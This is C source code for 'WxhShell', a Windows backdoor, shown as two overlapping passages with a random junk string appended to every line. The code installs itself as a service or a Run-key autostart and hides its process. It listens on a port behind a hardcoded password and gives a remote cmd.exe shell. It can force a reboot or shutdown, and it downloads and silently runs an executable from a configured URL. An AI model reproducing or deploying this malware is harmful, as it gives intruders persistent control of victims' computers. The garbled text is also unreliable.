    if(Boot(SHUTDOWN)) vt@5Hb)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +;uP) "Q/L  
    else { e^)+bmh  
    closesocket(wsh); N t]YhO  
    ExitThread(0); 8yEN)RqI  
    } m~c z  
    break; 5+*MqO>  
    } o$]wd*+  
  // 获取shell ]n9o=^q/  
  case 's': { A)9OkLrc  
    CmdShell(wsh); U5N/'p%)<  
    closesocket(wsh); e&WlJ  
    ExitThread(0); ME"B1 Se\  
    break; n1+1/  
  } ?.t naE  
  // 退出 6-8,qk  
  case 'x': { K.s\xA5`_  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); EXDZehLD<]  
    CloseIt(wsh); .)L%ANf  
    break; \c1u$'|v  
    } mw2/jA7  
  // 离开 ]X y2km]  
  case 'q': { q1!45a  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); {cmY`to  
    closesocket(wsh); a*?bnw?  
    WSACleanup(); nBw4YDR!  
    exit(1); {~J'J$hn8  
    break; coa+@g,w7#  
        } -]$q8 Q(hM  
  } G?`{OW3:_  
  }  -D*,*L  
8S*3W3HY  
  // 提示信息 4&b*|"Iw  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kr ,&aP<,  
} rCt8Q&mzf  
  } i\~@2  
NWnUXR  
  return; ^3re*u4b=  
} SU>2MT^  
/4Ud6gscf  
// shell模块句柄 1dDK(RBbQ  
int CmdShell(SOCKET sock) AA=zDB<N  
{ .V~z6  
STARTUPINFO si; jSi\/(E  
ZeroMemory(&si,sizeof(si)); =.T50~+M  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; S7i,oP7  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8EbJ5wu/%S  
PROCESS_INFORMATION ProcessInfo; ?|4Y(0N  
char cmdline[]="cmd"; %gBulvg  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); gY!+x=cx0  
  return 0; P){b"`f  
} $?x;?wS0V  
-|F(qf  
// 自身启动模式 X#v6v)c  
int StartFromService(void) 'M20v-[  
{ {`RCh]W  
typedef struct KHnq%#  
{ tqo k.h  
  DWORD ExitStatus; 8v{0=9,Z  
  DWORD PebBaseAddress; 'PO+P~|oa&  
  DWORD AffinityMask; }4$k-,1S  
  DWORD BasePriority; K=Q<G:+&V  
  ULONG UniqueProcessId; Bs?B\k=  
  ULONG InheritedFromUniqueProcessId; eKpWFP 0  
}   PROCESS_BASIC_INFORMATION; 8d|/^U.w~V  
DIAHI V<  
PROCNTQSIP NtQueryInformationProcess; 'xK ,|U  
{&u`d.Lk2p  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2!@ER i  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 0c{-$K}  
q>X30g  
  HANDLE             hProcess; JWB3;,S  
  PROCESS_BASIC_INFORMATION pbi; AFMIp^F  
KOv?p@d  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @wVq%GG}  
  if(NULL == hInst ) return 0; P5?M"j0/^  
B}?$kp  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0NB5YQ8_]  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); S/?!ESW6  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &];:uYmMU  
T)CEcz  
  if (!NtQueryInformationProcess) return 0; 5~ip N/)E  
}Bk>'  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Nbyc,a[o  
  if(!hProcess) return 0; xZ=6  
0,{tBo  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^ "D  
;\mTm;]G  
  CloseHandle(hProcess); %DQ!#Nl*  
"gIjU~'A  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $bo,m2)  
if(hProcess==NULL) return 0; \I-bZ|^  
n0 q$/Y.  
HMODULE hMod; (Zi,~Wqm$  
char procName[255]; pw, <0UhV  
unsigned long cbNeeded; :Vnus @#r  
6}/m~m  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); w]ihGh  
)@\Eibt2oH  
  CloseHandle(hProcess); |'+ [ '  
$ca>b X]  
if(strstr(procName,"services")) return 1; // 以服务启动 I d}@  
6+.8nx:9X  
  return 0; // 注册表启动 paYvYK-K?  
} WHkrd8  
w~a_FGYX  
// 主模块 iJaA&z5sr  
int StartWxhshell(LPSTR lpCmdLine) =@\Li)Y  
{ #cCR\$-~  
  SOCKET wsl; `VL<pqPP  
BOOL val=TRUE; @%[ dh@oY  
  int port=0; HYcwtw6  
  struct sockaddr_in door; Ld4Jp`Zg  
IpYw<2'  
  if(wscfg.ws_autoins) Install(); lm[LDtc  
A5q%yt I  
port=atoi(lpCmdLine); 3:B4;  
\L]T|]}(  
if(port<=0) port=wscfg.ws_port; 0s2@z5bfX  
m&I5~kD  
  WSADATA data; d{FD.eI 0  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; au?5^u\  
R![)B97^  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;    ~=Q|EhF5  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); LVAnZ'h/|  
  door.sin_family = AF_INET; -Izc-W  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); EG oe<.  
  door.sin_port = htons(port); Ks/Uyu. X  
%:=Jr#a  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { R2B0?fu  
closesocket(wsl); Fq`wx  
return 1; y^tp^  
} )an,-EIX%  
noSBwP| v*  
  if(listen(wsl,2) == INVALID_SOCKET) { >=!$(JgX  
closesocket(wsl); SHt#%3EU  
return 1; MoP,a9p  
} KX$Q`lM   
  Wxhshell(wsl); L\/YS;Y  
  WSACleanup(); mj^]e/s%  
W:XN!  
return 0; }29Cm$p  
+`$[h2Z=:  
} AOVoOd+6  
;d{lvKk  
// 以NT服务方式启动 |vf /M|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) o ImW  
{ fNZ:l=L3):  
DWORD   status = 0; vp#r :+=  
  DWORD   specificError = 0xfffffff; r\f|r$i  
}RPeAcbU_  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _3{,nhkf:!  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; -mPrmapb3  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /`YbHYNF[  
  serviceStatus.dwWin32ExitCode     = 0; 8C4 =f  
  serviceStatus.dwServiceSpecificExitCode = 0; O,A}p:Pgs  
  serviceStatus.dwCheckPoint       = 0; $KGpcl  
  serviceStatus.dwWaitHint       = 0; mzoNXf:x  
}N}\<RG  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8QaF(?  
  if (hServiceStatusHandle==0) return; AXOR<Ns`  
cQ<* (KU  
status = GetLastError(); PdNxuy  
  if (status!=NO_ERROR) e)x;3r"j  
{ v*.#LJEm  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; #&jr9RB  
    serviceStatus.dwCheckPoint       = 0; 9'S~zG%{  
    serviceStatus.dwWaitHint       = 0; Uk0]A  
    serviceStatus.dwWin32ExitCode     = status; dtT2h>h9  
    serviceStatus.dwServiceSpecificExitCode = specificError; DHO+JtO  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); DJ#z0)3<p  
    return; VtJy0OGcRP  
  } ?=lnYD j  
;N/=)m  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; !s:v UY58  
  serviceStatus.dwCheckPoint       = 0; H%:u9DlEK/  
  serviceStatus.dwWaitHint       = 0; Y =BXV7\  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }bxx]rDl  
} `+go| 5N2  
Q8sCI An{  
// 处理NT服务事件,比如:启动、停止 %=O$@.%Zc  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Hxm CKW!  
{ YvP u%=eF  
switch(fdwControl) [ queXDn"m  
{ 9v2(cpZ  
case SERVICE_CONTROL_STOP: w}jH,Ew  
  serviceStatus.dwWin32ExitCode = 0; H%\\-Z$#  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; D@yuldx'/  
  serviceStatus.dwCheckPoint   = 0; 8*V8B=q}K  
  serviceStatus.dwWaitHint     = 0; 4{1 .[##]o  
  { ;PrL)!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?fXlrJ  
  } >&kb|)  
  return; Pv(icf l|  
case SERVICE_CONTROL_PAUSE: dqvgyyq  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; m#oZu {  
  break; I;!zZ.\  
case SERVICE_CONTROL_CONTINUE: jt/ |u=  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; RL;>1Q,H  
  break; _Di}={1[.  
case SERVICE_CONTROL_INTERROGATE: {lhdropd  
  break; fP9k(mQX  
}; fDa$TbhjI  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .C2.j[>  
} \I4*|6kA  
;_^ "}  
// 标准应用程序主函数 (n~ e2tZ/  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7 i |_PP_  
{ ;7]Q'N  
u/h!i@_w[  
// 获取操作系统版本 ]GS@ub  
OsIsNt=GetOsVer(); .2jG~_W[  
GetModuleFileName(NULL,ExeFile,MAX_PATH); pSq3\#Twr  
)n[ oP%  
  // 从命令行安装 GAlAFsB  
  if(strpbrk(lpCmdLine,"iI")) Install(); 8;YN`S!o  
y/}>)o4Q  
  // 下载执行文件 Hkv4t5F  
if(wscfg.ws_downexe) { U*' YGv  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) L|3wG Y9E  
  WinExec(wscfg.ws_filenam,SW_HIDE); lj1wTiaI(  
} h|!F'F{  
n+EK}= DK  
if(!OsIsNt) { ?CQ\9 4kO  
// 如果时win9x,隐藏进程并且设置为注册表启动 ~la=rh3  
HideProc(); Wh,{|R[  
StartWxhshell(lpCmdLine); 4^KoH eM6  
} rX%qWhiEJ  
else j;O{Hvvz  
  if(StartFromService()) V^t5 Y+7  
  // 以服务方式启动 s1!_zf_  
  StartServiceCtrlDispatcher(DispatchTable); @ P=eu3  
else ezt_ct/Z  
  // 普通方式启动 #@m*yJg<  
  StartWxhshell(lpCmdLine); $rySz7NI  
^;2dZgJ4^  
return 0; <N%8"o  
} \Mv8pU  
;n*N9-|.  
O/IW.t  
qO<'_7TN[  
=========================================== xy% lp{  
27vLI~  
3mIX9&/  
sg(L`P  
H7e/6t<x  
fuQ|[tpvQG  
" eo4<RDe<  
]u_^~  
#include <stdio.h> `F>1xMm  
#include <string.h> n ?%3=~9  
#include <windows.h> #N|)hBz9-  
#include <winsock2.h> JlF0L%Rc  
#include <winsvc.h> %<e\s6|P:  
#include <urlmon.h> HRx%m1H  
BEM+FG  
#pragma comment (lib, "Ws2_32.lib") \<VwGbzFi  
#pragma comment (lib, "urlmon.lib") ?S8cl7;+  
Y962rZ  
#define MAX_USER   100 // 最大客户端连接数 DU7kZ  
#define BUF_SOCK   200 // sock buffer o_gpBaWD  
#define KEY_BUFF   255 // 输入 buffer  Lp%V$'  
s &v<5W2P  
#define REBOOT     0   // 重启 Osb"$8im  
#define SHUTDOWN   1   // 关机 G{ rUqo  
v&U'%1|  
#define DEF_PORT   5000 // 监听端口 }Kq5!XJV9C  
eb:mp/  
#define REG_LEN     16   // 注册表键长度 j>M 'nQ,;d  
#define SVC_LEN     80   // NT服务名长度 &b}!KD1  
|,]#vcJP#b  
// 从dll定义API gU/\'~HG  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); V|{ )P@Q  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); V9"Kro  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 0.nS306  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); q+32|k>)  
~Xnq(}?ok  
// wxhshell配置信息 dCcV$BX,K  
struct WSCFG { P _t8=d  
  int ws_port;         // 监听端口 o><~.T=d&  
  char ws_passstr[REG_LEN]; // 口令 _c%]RE  
  int ws_autoins;       // 安装标记, 1=yes 0=no  UJoWTx  
  char ws_regname[REG_LEN]; // 注册表键名 U<eVLfSij  
  char ws_svcname[REG_LEN]; // 服务名 Y[;Pl$  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 )%C482GO-  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 J=TbZL4y}4  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 SGH"m/ e  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ?M7nbfy[A@  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" V0L^pDLOV  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "8Pxf=   
`NV =2T  
}; <P( K,L?r  
LaJc;Jt$  
// default Wxhshell configuration neQ2+W%oj  
struct WSCFG wscfg={DEF_PORT, E]_lYYkA  
    "xuhuanlingzhe", &I?1(t~hT  
    1, ?4q6>ipx  
    "Wxhshell", 'E0{zk  
    "Wxhshell", @?K(+BGi  
            "WxhShell Service", >}<:5gZtA  
    "Wrsky Windows CmdShell Service", 7%8,*T  
    "Please Input Your Password: ", -z0,IYG }  
  1, [j}%&$  
  "http://www.wrsky.com/wxhshell.exe", \XMl8G  
  "Wxhshell.exe" V:!fe+ Er  
    }; h|%d=`P,  
%M9^QHyo@  
// 消息定义模块 [}lv!KmzW  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; e?L$RY,7  
char *msg_ws_prompt="\n\r? for help\n\r#>"; i(,R$AU  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; .4F(Y_c  
char *msg_ws_ext="\n\rExit."; d"5:/Mo  
char *msg_ws_end="\n\rQuit."; |MMr}]`  
char *msg_ws_boot="\n\rReboot..."; iml*+t  
char *msg_ws_poff="\n\rShutdown..."; %dL|i2+*8  
char *msg_ws_down="\n\rSave to "; "=| yM~V  
F f& VBm  
char *msg_ws_err="\n\rErr!"; LjXtOF  
char *msg_ws_ok="\n\rOK!"; ^gkyi/z  
8c__ U<  
char ExeFile[MAX_PATH]; oLX6w  
int nUser = 0; ` M4; aN  
HANDLE handles[MAX_USER]; MH"c=mL:  
int OsIsNt; I|9e4EX{y  
l},px  
SERVICE_STATUS       serviceStatus; IQScsqM  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Bh2m,=``  
PpU : 4;en  
// 函数声明 f|6%71  
int Install(void); ?ArQ{9c  
int Uninstall(void); m^T$H_*;  
int DownloadFile(char *sURL, SOCKET wsh); 6Om-[^  
int Boot(int flag); Ko''G5+  
void HideProc(void); FPFt3XL  
int GetOsVer(void); 9z_Gf]J~  
int Wxhshell(SOCKET wsl); .,m$Cm  
void TalkWithClient(void *cs);  IO>Cyo  
int CmdShell(SOCKET sock); [ Q=) f  
int StartFromService(void); sTv/;*  
int StartWxhshell(LPSTR lpCmdLine); 7\a(Imq  
3QUe:8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); D9H|]W~   
VOID WINAPI NTServiceHandler( DWORD fdwControl ); <ze' o.c  
C)#:zv m  
// 数据结构和表定义 aQFYSl  
SERVICE_TABLE_ENTRY DispatchTable[] = MQ\:/]a  
{ 2E2J=Do  
{wscfg.ws_svcname, NTServiceMain}, _vU,avw  
{NULL, NULL} oi"Bf7{  
}; z0g]nYN%  
c q3C N@  
// 自我安装 (eO0 Ic[c  
int Install(void) A2rr>  
{ j*QY_Ny*  
  char svExeFile[MAX_PATH]; J4lE7aFDA~  
  HKEY key; W11_MTIU  
  strcpy(svExeFile,ExeFile); 2U|Nkm  
*GRhZ~U  
// 如果是win9x系统,修改注册表设为自启动 Ju+@ROZ  
if(!OsIsNt) { yg\A&0I  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O%c6vp7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tinN$o Xy  
  RegCloseKey(key); =/dW5qy;*+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { sSD(mO<(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); IUc!nxF#  
  RegCloseKey(key); 3\mFK$#sr  
  return 0; i,4JS,82I  
    } 7BI0g@$Nn]  
  } R>gj"nB  
} y-sQ"HPN  
else { yuI5# VUS  
E/s3@-/  
// 如果是NT以上系统,安装为系统服务 &nz1[,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); f+I*aBQ  
if (schSCManager!=0) X:62 )^~'  
{ } doj4  
  SC_HANDLE schService = CreateService Tm3$|+}$f  
  ( y[r T5ed  
  schSCManager, 9=< Z>  
  wscfg.ws_svcname, z9dVT'  
  wscfg.ws_svcdisp, E>'pMw  
  SERVICE_ALL_ACCESS, :hJhEQH(9  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]E=JUYf0  
  SERVICE_AUTO_START, oTx#e[8f{  
  SERVICE_ERROR_NORMAL, lc5NC;JR  
  svExeFile, aL=VNZ!Pqc  
  NULL, a-QHm;_S  
  NULL, o@pM??&x  
  NULL, Rut6m5>  
  NULL, u:,B"!  
  NULL 0|GxOzNd  
  ); uN`ACc)ESi  
  if (schService!=0) *VRFs=  
  { 4El{2cfA  
  CloseServiceHandle(schService); "lmiGR*u  
  CloseServiceHandle(schSCManager); IRS^F;)  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); }qlz^s  
  strcat(svExeFile,wscfg.ws_svcname); =e._b 7P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { R [uo:.  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~Kb(`Px@  
  RegCloseKey(key); =G=.THRUk  
  return 0; s#qq% @  
    } :'!?dszS  
  } cL1cBWd  
  CloseServiceHandle(schSCManager); 7<1Y%|x`  
} 4]dPhsey  
} t}oxHEa V  
eq4<   
return 1; y|lP.N/  
} =lDmP |^  
,2kWj7H%7  
// 自我卸载 ?xG #4P<C=  
int Uninstall(void) U`8)rtYw  
{ <XLATS8Y  
  HKEY key; KY"~Ta`  
-#Wc@\;  
if(!OsIsNt) { xHL{3^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .OWIlT4K  
  RegDeleteValue(key,wscfg.ws_regname); XM=`(e o  
  RegCloseKey(key); 49kY]z|"w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gXfAz,  
  RegDeleteValue(key,wscfg.ws_regname); qBwqxxTc  
  RegCloseKey(key); \+>b W(  
  return 0; T[;{AXLeI  
  } $==hr^H  
} hi ]+D= S  
} MBwp{ET!p  
else { Fvv6<E  
om/gk4S2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); $8eq&_gJ  
if (schSCManager!=0) [Q$"+@jw  
{ -pjL7/gx  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); tx.YW9xD  
  if (schService!=0) ER|5_  
  { |mM7P^I  
  if(DeleteService(schService)!=0) { hZJ Nh,,w  
  CloseServiceHandle(schService); ^#Z(&/5f0  
  CloseServiceHandle(schSCManager); uC}YKT>V7  
  return 0; x)GoxH~#  
  } gM= ~dBz  
  CloseServiceHandle(schService); --/  .  
  } M,{F/Yu  
  CloseServiceHandle(schSCManager); ~_oTEXT^O  
} r8> q*0~s  
} 1ii.nt1 u  
3)eeUO+  
return 1; Nyo6R9^  
} EgO4:8$h  
r94BEC 2  
// 从指定url下载文件 +HcH]D;  
int DownloadFile(char *sURL, SOCKET wsh) 3&zmy'b*:  
{ [n^___7  
  HRESULT hr; Vw#07P#A  
char seps[]= "/"; )a6i8b3  
char *token; v0y7N_U5n  
char *file; fU8;CZnx  
char myURL[MAX_PATH]; +u Lu.-N  
char myFILE[MAX_PATH]; Zsuh8t   
dEL>Uly  
strcpy(myURL,sURL); N; hq  
  token=strtok(myURL,seps); kP6r=HH@  
  while(token!=NULL) t3WlVUtq3  
  { }1>a71  
    file=token; `=>Bop)  
  token=strtok(NULL,seps); D"Xm9 (  
  } W%wS+3Q/  
%DN& K  
GetCurrentDirectory(MAX_PATH,myFILE); xM*v!J,  
strcat(myFILE, "\\"); jC@^/rMh  
strcat(myFILE, file); y>o#Hq&qM  
  send(wsh,myFILE,strlen(myFILE),0); N7;2BUIXJ  
send(wsh,"...",3,0); Du{]r[[C  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); [ wROIvV  
  if(hr==S_OK) sM4wh_lO  
return 0; r9%W?fEBp  
else B%t^QbU#\  
return 1; z~W@`'f  
}FK6o 6  
} t (1z+  
dYsqF 3f  
// 系统电源模块 \i&yR]LF  
int Boot(int flag) $`Ou*  
{ %_u3Np  
  HANDLE hToken; MHbRG_zW  
  TOKEN_PRIVILEGES tkp; 1idEm*3&(  
-{w&ya4X  
  if(OsIsNt) { mI.*b(Irp  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); AiyjrEa%  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); EmH{G  
    tkp.PrivilegeCount = 1; $""[( d?0  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; N7E[wOP  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); z XvWo6  
if(flag==REBOOT) { '[HFIJ0K!  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) a@7we=!  
  return 0; "[8](3\v  
} *yf+5q4t  
else { ?T^$,1 -  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) b+C>p2%  
  return 0; ~E!"YkIr  
} |%tR#!&[:g  
  } $0 l i"+  
  else { [qy@g5`  
if(flag==REBOOT) { A>PM'$"sT  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) *L^{p.K4  
  return 0; =tP|sYR]^  
} )sL:iGU  
else { mg;qG@?  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) qV^H vZJ  
  return 0; X+*| nvq]  
} XGUF9arN  
} j{HxX  
:&a|8Wi[W  
return 1; RJWlG'i  
} ('gjf l  
['c:n?  
// win9x进程隐藏模块 7' 6m;b~F  
void HideProc(void) Og,,s{\  
{ U,]z)1#X|  
{ ~Cqb7  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ,mRN;|N  
  if ( hKernel != NULL ) <y!BO  
  { /yI~(8bO  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); }^QY<Cp|  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); }&!rIU  
    FreeLibrary(hKernel); $EtZ5?qS  
  } G U!XD!!&  
<oR Nd3d  
return; LAr6J  
} P_qxw-s  
sQ`8L+oY  
// 获取操作系统版本 I*24%z9  
int GetOsVer(void) O aZ~  
{ EatpORq  
  OSVERSIONINFO winfo; ;[6u79;I  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); `*~:n vU  
  GetVersionEx(&winfo); Fc nR}TE  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) U %KoG-#  
  return 1; hTy#Q.=  
  else :Ct} ||9/  
  return 0; S>'wb{jj!  
} x &\~4,TN  
nVYh1@yLy  
// 客户端句柄模块 PanyN3rC*  
int Wxhshell(SOCKET wsl) !,1~:*:  
{ nGP>M#F  
  SOCKET wsh; CjO/q)vV  
  struct sockaddr_in client; |D^[]*cEH  
  DWORD myID; c s hZR(b  
H%/$Rqg  
  while(nUser<MAX_USER) {~=[d`t  
{ `HHbQXB  
  int nSize=sizeof(client); #7g~U m%p  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7#<|``]zNf  
  if(wsh==INVALID_SOCKET) return 1; MLp5Y\8*  
'T.> oP0>  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Maq{H`  
if(handles[nUser]==0) 1W-!f%  
  closesocket(wsh); $+rdzsf)+/  
else H{+U; 6b  
  nUser++; cW3;5  
  } O,DA{> *m  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Qs4Jl;Y_  
;)o%2#I  
  return 0; [OM Kk#vW  
} Ot/Y?=j~  
VNMhtwmK,  
// 关闭 socket TeG'cKz  
void CloseIt(SOCKET wsh) =b; v:HC  
{ ]5} =r  
closesocket(wsh);  m>a6,#I  
nUser--; T$k) ^'  
ExitThread(0); wCkkfTO  
} kWr*+3Xq  
fPspJug  
// 客户端请求句柄 LtC kDnXk  
void TalkWithClient(void *cs) }-Zfl jj  
{ ?X=9@m  
'1bdBx\<.  
  SOCKET wsh=(SOCKET)cs; ogPxj KSI  
  char pwd[SVC_LEN]; ZL-@2ZU{1  
  char cmd[KEY_BUFF]; mWO=(}Fb\  
char chr[1]; U-|g tND  
int i,j; & 8e~<  
koaH31Q  
  while (nUser < MAX_USER) { ydBoZ3}  
l&E-H@Pe  
if(wscfg.ws_passstr) { 'e0qdY`  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Th@L68  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); lK}F>6^\  
  //ZeroMemory(pwd,KEY_BUFF); "j~=YW+l  
      i=0; ^2Op?J  
  while(i<SVC_LEN) { =TyN"0@  
IDcu#Nz`  
  // 设置超时 pcL02W|J  
  fd_set FdRead; &oNy~l o  
  struct timeval TimeOut; TN` pai0  
  FD_ZERO(&FdRead); 7CNEP2}:R  
  FD_SET(wsh,&FdRead); ptrLnJ|%  
  TimeOut.tv_sec=8; Rqu;;VI[  
  TimeOut.tv_usec=0; nuXaZRH  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); tpA7"JD  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <r9J+xh*p  
9e.n1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); < R0c=BZ>  
  pwd=chr[0]; ,7tN&R_  
  if(chr[0]==0xd || chr[0]==0xa) { {8b6A~/  
  pwd=0; !%]]lxi  
  break; v@< "b U  
  } 5AQ $xm4  
  i++; 1<pbO:r  
    } 9KD2C>d<  
yS lN|8d  
  // 如果是非法用户,关闭 socket @;Yb6&I;  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |jc87(x <  
}  03_tt7  
yQ6{-:`)  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); u'LA%l-  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4z?6[Cg<  
q'{E $V)E  
while(1) { !!dNp5h`  
p4|:u[:&  
  ZeroMemory(cmd,KEY_BUFF); P4ot, Q4  
L}x"U9'C  
      // 自动支持客户端 telnet标准   yD5T'np<4  
  j=0; I)9;4lix  
  while(j<KEY_BUFF) { "5ah{,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A+NLo[swwu  
  cmd[j]=chr[0]; 7$;mkHu4H%  
  if(chr[0]==0xa || chr[0]==0xd) { 0M-Zp[w\-  
  cmd[j]=0; n%@xnB $ZX  
  break; prhFA3 rW.  
  } 's!EAqCN  
  j++; HI)ks~E/  
    } t9W_ [_a9  
'<$(*  
  // 下载文件 z`m-Ca>6  
  if(strstr(cmd,"http://")) { FpCj$y~3  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); F(}d|z@@  
  if(DownloadFile(cmd,wsh)) `N ;!=7y7Y  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); [m!$01=  
  else Z'PL?;&+R  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J1P82=$,  
  } C`7HC2Is  
  else { sw8Ic\vT  
q1`uS^3`  
